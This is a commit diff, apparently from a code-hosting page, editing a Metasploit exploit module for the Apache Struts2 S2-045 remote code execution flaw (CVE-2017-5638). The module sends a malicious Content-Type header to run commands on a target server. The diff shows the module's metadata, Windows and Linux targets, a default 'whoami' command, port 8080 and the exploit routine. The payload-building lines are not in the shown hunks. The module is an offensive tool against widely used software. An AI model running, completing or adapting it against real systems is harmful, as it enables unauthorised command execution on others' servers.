Struts2 S2-045 Exploit 2017/03/08
parent
b73a884c05
commit
c5fb69bd89
|
@ -1,32 +1,24 @@
|
||||||
|
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
|
||||||
class MetasploitModule < Msf::Exploit::Remote
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
Rank = ExcellentRanking
|
Rank = ExcellentRanking
|
||||||
include Msf::Exploit::Remote::HttpClient
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Apache Struts2 S2-045 Remote Code Execution Exploit(CVE-2017-5638)',
|
'Name' => 'Apache Struts2 S2-045 Remote Code Execution Exploit(CVE-2017-5638)',
|
||||||
'Description' => %q{
|
'Description' => %q{It is possible to perform a RCE attack with a malicious Content-Type value.If the Content-Type value isn't valid an exception is thrown which is then used to display an error message to a user.Discoverd by Nike.Zheng.
|
||||||
It is possible to perform a RCE attack with a malicious Content-Type value.If the Content-Type value isn't valid an exception is thrown which is then used to display an error message to a user.Discoverd By Nike.Zheng.
|
|
||||||
},
|
},
|
||||||
'Author' => [ 'MSF Module: Chorder(http://chorder.net)'],
|
'Author' => [ 'Exploit: Nike.Zheng','MSF Module: Chorder(http://chorder.net)'],
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'References' =>
|
'References' => [ [ 'CVE', '2017-5638'] ],
|
||||||
[
|
|
||||||
[ 'CVE', '2017-5638']
|
|
||||||
],
|
|
||||||
'Privileged' => true,
|
'Privileged' => true,
|
||||||
'Platform' => %w{ linux win },
|
'Platform' => %w{ linux win },
|
||||||
'Arch' => 'x86',
|
'Arch' => 'x86',
|
||||||
'DefaultOptions' =>{
|
'DefaultOptions' =>{
|
||||||
'CMD' => 'whoami'
|
'CMD' => 'whoami'
|
||||||
},
|
},
|
||||||
'Targets' =>
|
'Targets' =>[
|
||||||
[
|
|
||||||
['Windows Universal',
|
['Windows Universal',
|
||||||
{
|
{
|
||||||
'Arch' => ARCH_X86,
|
'Arch' => ARCH_X86,
|
||||||
|
@ -43,7 +35,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
],
|
],
|
||||||
'DefaultTarget' => 0,
|
'DefaultTarget' => 0,
|
||||||
'DisclosureDate' => 'Mar 06 2017'))
|
'DisclosureDate' => 'Mar 06 2017'))
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
Opt::RPORT(8080),
|
Opt::RPORT(8080),
|
||||||
|
@ -74,8 +65,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
print_status( resp.body )
|
print_status( resp.body )
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
unless datastore['CMD'].blank?
|
unless datastore['CMD'].blank?
|
||||||
print_status("Executing Command...")
|
print_status("Executing Command...")
|
||||||
|
@ -83,7 +72,5 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
handler
|
handler
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue